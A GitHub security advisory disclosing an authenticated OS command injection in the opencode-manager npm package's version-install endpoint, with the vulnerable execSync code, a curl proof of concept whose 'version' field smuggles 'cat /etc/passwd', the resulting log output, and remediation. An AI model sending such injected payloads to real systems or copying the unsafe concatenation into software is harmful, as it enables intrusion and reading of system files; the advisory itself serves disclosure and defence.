Skip to content

OS Command Injection in the /opencode-install-version endpoint

High
chriswritescode-dev published GHSA-pgg6-hfgh-9666 Mar 23, 2026

Package

npm opencode-manager (npm)

Affected versions

<= 0.9.10

Patched versions

0.9.11

Description

Fix commit

4752487

Analysis

Affected Component: backend/src/routes/settings.ts:L637

  app.post('/opencode-install-version', async (c) => {
    const oldVersion = opencodeServerManager.getVersion()
    logger.info(`Current OpenCode version: ${oldVersion}`)

    try {
      const body = await c.req.json()
      const { version } = z.object({ version: z.string().min(1) }).parse(body)

      logger.info(`Installing OpenCode version: ${version}`)
      const versionArg = version.startsWith('v') ? version : `v${version}`
      const installMethod = getOpenCodeInstallMethod()
      logger.info(`Running opencode upgrade ${versionArg} --method ${installMethod} with 90s timeout...`)

      const { output: upgradeOutput, timedOut } = execWithTimeout(`opencode upgrade ${versionArg} --method ${installMethod} 2>&1`, 90000)
[...]

The /opencode-install-version endpoint in backend/src/routes/settings.ts accepts a version parameter from user JSON input and used in the function execWithTimeout (which uses execSync).

However:

  • the validation for version is insufficient:
    • it only verifies that the string is not empty
    • it does not verify that the string is a valid version (MAJOR.MINOR.PATCH)
  • execSync is vulnerable to command injection when concatenating unsafe inputs like version.

Proof of Concept

Warning

The attacker needs to be authenticated in order to exploit.

Setup

git clone https://github.com/chriswritescode-dev/opencode-manager.git
cd opencode-manager/
cp .env.example .env
sed -i -e "s/# AUTH_SECRET=your-secure-random-secret-here/AUTH_SECRET=your-secure-random-secret-here/g" .env
sed -i -e "s/# ADMIN_EMAIL=admin@example.com/ADMIN_EMAIL=admin@example.com/g" .env
sed -i -e "s/# ADMIN_PASSWORD=your-secure-password/ADMIN_PASSWORD=your-secure-password/g" .env
docker compose up

Exploitation

Change the cookie accordingly.

curl 'http://localhost:5003/api/settings/opencode-install-version' \
  -H 'Content-Type: application/json' \
  -b 'opencode.session_token=SESSION_TOKEN' \
  --data-raw '{"version":"1.2.27; cat /etc/passwd; #"}'

Result

opencode-manager  | [2026-03-19T10:04:04.194Z] [INFO] Upgrade output: ┌  Upgrade
opencode-manager  | │
opencode-manager  | ●  Using method: curl
opencode-manager  | │
opencode-manager  | ▲  opencode upgrade skipped: 1.2.27 is already installed
opencode-manager  | │
opencode-manager  | └  Done
opencode-manager  |
opencode-manager  | root:x:0:0:root:/root:/bin/bash
opencode-manager  | daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
opencode-manager  | bin:x:2:2:bin:/bin:/usr/sbin/nologin
opencode-manager  | sys:x:3:3:sys:/dev:/usr/sbin/nologin
opencode-manager  | sync:x:4:65534:sync:/bin:/bin/sync
opencode-manager  | games:x:5:60:games:/usr/games:/usr/sbin/nologin
opencode-manager  | man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
opencode-manager  | lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
opencode-manager  | mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
opencode-manager  | news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
opencode-manager  | uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
opencode-manager  | proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
opencode-manager  | www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
opencode-manager  | backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
opencode-manager  | list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
opencode-manager  | irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
opencode-manager  | _apt:x:42:65534::/nonexistent:/usr/sbin/nologin
opencode-manager  | nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
opencode-manager  | node:x:1000:1000::/home/node:/bin/bash
opencode-manager  |
opencode-manager  |
opencode-manager  |                                    ▄
opencode-manager  |   █▀▀█ █▀▀█ █▀▀█ █▀▀▄ █▀▀▀ █▀▀█ █▀▀█ █▀▀█
opencode-manager  |   █  █ █  █ █▀▀▀ █  █ █    █  █ █  █ █▀▀▀
opencode-manager  |   ▀▀▀▀ █▀▀▀ ▀▀▀▀ ▀▀▀▀ ▀▀▀▀ ▀▀▀▀ ▀▀▀▀ ▀▀▀▀
opencode-manager  |
opencode-manager  | [2026-03-19T10:04:04.905Z] [INFO] New OpenCode version: 1.2.27
opencode-manager  | [2026-03-19T10:04:04.905Z] [INFO] Restarting OpenCode server (full process restart)
opencode-manager  | [2026-03-19T10:04:04.905Z] [INFO] Stopping OpenCode server

Impact

opencode-manager already allows remote code execution through OpenCode. Since the exploitation of this vulnerability requires to be authenticated, the final impact is considered as LOW even if the impact of the vulnerability by itself is considered high.

This vulnerability by itself does not impact the security of opencode-manager. However, it has been observed that this type of vulnerability is often chained with other vulnerabilities, which can lead to a real security risk, as in a similar package: Unauthenticated RCE via WebSocket shell injection in siteboon/claudecodeui.

Remediation

  1. Use execFileSync:
execFileSync("opencode" ["upgrade", versionArg, "--method", installMethod])
  1. Validate version:
if (!/^\d+\.\d+\.\d+$/.test(versionArg)) {
  throw new Error('Invalid version format');
}

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
High
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

CVE ID

No known CVE

Weaknesses

Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component. Learn more on MITRE.

Credits